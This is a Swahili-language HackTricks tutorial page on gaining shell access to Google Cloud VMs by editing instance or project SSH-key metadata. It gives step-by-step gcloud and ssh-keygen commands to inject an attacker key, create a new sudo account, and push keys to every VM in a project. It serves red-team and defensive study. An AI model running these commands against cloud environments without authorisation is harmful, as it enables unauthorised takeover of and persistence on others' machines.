GCP - Ongeza Metadata ya SSH ya Kijadi
Reading time: 5 minutes
GCP - Ongeza Metadata ya SSH ya Kijadi
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kubadilisha metadata
Kubadilisha metadata kwenye mfano kunaweza kusababisha hatari kubwa za usalama ikiwa mshambuliaji atapata ruhusa zinazohitajika.
Kuongeza Funguo za SSH kwenye Metadata ya Kijadi
Katika GCP, mifumo ya Linux mara nyingi inatekeleza skripti kutoka kwenye Python Linux Guest Environment for Google Compute Engine. Sehemu muhimu ya hii ni accounts daemon, ambayo imeundwa ili kuangalia mara kwa mara kiungo cha metadata ya mfano kwa sasisho za funguo za umma za SSH zilizoidhinishwa.
Hivyo, ikiwa mshambuliaji anaweza kubadilisha metadata ya kijadi, anaweza kufanya daemon ipate funguo mpya za umma, ambazo zitawekwa na kuunganishwa kwenye mfumo wa ndani. Funguo hiyo itaongezwa kwenye faili ya ~/.ssh/authorized_keys
ya mtumiaji aliye tayari au labda kuunda mtumiaji mpya mwenye ruhusa za sudo
, kulingana na muundo wa funguo. Na mshambuliaji ataweza kuathiri mwenyeji.
Ongeza funguo ya SSH kwa mtumiaji mwenye ruhusa
- Chunguza Funguo za SSH Zilizopo kwenye Mfano:
- Tekeleza amri ya kuelezea mfano na metadata yake ili kupata funguo za SSH zilizopo. Sehemu inayohusiana katika matokeo itakuwa chini ya
metadata
, hasa funguo yassh-keys
.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Angalia muundo wa funguo za SSH: jina la mtumiaji linatangulia funguo, likitenganishwa na alama ya nukta.
- Andaa Faili ya Teksti kwa Metadata ya Funguo za SSH:
- Hifadhi maelezo ya majina ya watumiaji na funguo zao za SSH zinazohusiana kwenye faili ya teksti inayoitwa
meta.txt
. Hii ni muhimu kwa kuhifadhi funguo zilizopo wakati wa kuongeza mpya.
- Unda Funguo Mpya ya SSH kwa Mtumiaji Lengo (
alice
katika mfano huu):
- Tumia amri ya
ssh-keygen
kuunda funguo mpya ya SSH, kuhakikisha kuwa uwanja wa maoni (-C
) unalingana na jina la mtumiaji lengo.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Ongeza funguo mpya ya umma kwenye
meta.txt
, ukifanana na muundo ulio katika metadata ya mfano.
- Sasisha Metadata ya Funguo za SSH za Mfano:
- Tumia amri ya
gcloud compute instances add-metadata
kupeleka metadata ya funguo za SSH iliyosasishwa kwenye mfano.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Fikia Mfano kwa Kutumia Funguo Mpya ya SSH:
- Unganisha kwenye mfano kwa SSH ukitumia funguo mpya, ukifikia shell katika muktadha wa mtumiaji lengo (
alice
katika mfano huu).
ssh -i ./key alice@localhost
sudo id
Unda mtumiaji mpya mwenye ruhusa na ongeza funguo ya SSH
Ikiwa mtumiaji yeyote wa kuvutia hakupatikana, inawezekana kuunda mpya ambayo itapewa ruhusa za sudo
:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH keys at project level
Inawezekana kupanua ufikiaji wa SSH kwa Mashine nyingi za Kielektroniki (VMs) katika mazingira ya wingu kwa kutumia funguo za SSH katika kiwango cha mradi. Njia hii inaruhusu ufikiaji wa SSH kwa mfano wowote ndani ya mradi ambao haujazuia wazi wazi funguo za SSH za mradi. Hapa kuna mwongozo wa muhtasari:
- Tumia Funguo za SSH katika Kiwango cha Mradi:
- Tumia amri
gcloud compute project-info add-metadata
kuongeza funguo za SSH kutokameta.txt
kwenye metadata ya mradi. Kitendo hiki kinahakikisha kwamba funguo za SSH zinatambulika katika VMs zote ndani ya mradi, isipokuwa VM ambayo ina chaguo la "Block project-wide SSH keys" limewezeshwa.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH kwenye Mifano kwa Kutumia Funguo za Mradi:
- Pamoja na funguo za SSH za mradi zikiwa zimewekwa, unaweza SSH kwenye mfano wowote ndani ya mradi. Mifano ambayo haizuia funguo za mradi itakubali funguo za SSH, ikitoa ufikiaji.
- Njia moja ya moja kwa moja ya SSH kwenye mfano ni kutumia amri
gcloud compute ssh [INSTANCE]
. Amri hii inatumia jina lako la mtumiaji wa sasa na funguo za SSH zilizowekwa katika kiwango cha mradi kujaribu ufikiaji.
References
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.